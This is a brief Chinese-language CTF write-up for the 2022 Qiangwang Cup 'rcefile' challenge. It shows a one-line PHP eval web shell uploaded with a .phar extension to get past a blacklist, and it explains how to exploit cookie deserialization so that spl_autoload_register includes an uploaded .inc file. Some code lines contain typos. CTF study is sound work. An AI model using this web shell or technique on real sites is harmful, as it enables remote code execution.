2022强网杯 rcefile phar后缀名绕过黑名单&spl_autoload_register
第一种解法:
上传个1.phar,文件内容为<?php @eval($REQUEST[8]);?>
第二种解法:
利用spl_autoload_register的特性
具体用法如下:
<?php spl_autoloader_register(); $demo=new FXXK(); ?>
如果本文件没有FXXK类的定义,他就会去找当前目录下的fxxk.inc或fxxk.php文件,然后包含他。
本题是扫描得到www.zip的源码后,发现对cookie['userfile']进行了反序列化,这就好办了,上传一个inc文件的带文件名,然后把把文件名作为一个类名,再new一个实例,再序列化这个实例,因为cookie传参是url编码的,再url编码一下,传过去,就会触发spl_autoload_register(因为毕竟反序列化还原了原来的类)